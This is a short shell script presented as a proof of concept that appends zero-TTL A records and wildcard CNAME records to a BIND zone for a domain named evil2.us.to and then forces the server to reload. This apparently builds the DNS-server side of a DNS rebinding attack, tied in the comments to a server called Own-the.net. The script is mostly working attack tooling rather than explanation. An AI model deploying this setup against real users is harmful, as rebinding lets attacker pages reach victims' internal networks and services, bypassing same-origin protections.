#!/bin/sh #This script requires root access. #This script updates a DNS zone on the local DNS server. #Explainig how to set up BIND 9 and create DNS zones is beyond the scope of this PoC. #This is the folder that contains the DNS zone files for the BIND 9 (named) DNS server. cd /var/named/ #$1 and $2 are the hostname and IP. #The CNAME "CNiping" trick is used here. echo "; ----- NEW RECORD ----- $1. 0 IN A $2 *.$1. 0 IN CNAME $1." >> evil2.us.to.db #This code will add a new DNS record. #Originally, the zone file "evil2.us.to.db" looked like this: # # ;BIND DNS zone file # ; # $TTL 604800 # @ IN SOA evil2.us.to. root.evil2.us.to. ( # 1 ; Serial # 604800 ; Refresh # 86400 ; Retry # 2419200 ; Expire # 604800 ) ; Negative Cache TTL # ; # @ IN NS evil2.us.to. # @ IN A 209.40.204.211 # *.evil2.us.to. 0 IN A 209.40.204.211 # #209.40.204.211 is the IP for the server Own-the.net is running on. #Touch the file, so that BIND recaches it. touch evil2.us.to.db #Wait for one second sleep 1 #Force BIND to reload the zone cache. rndc reload evil2.us.to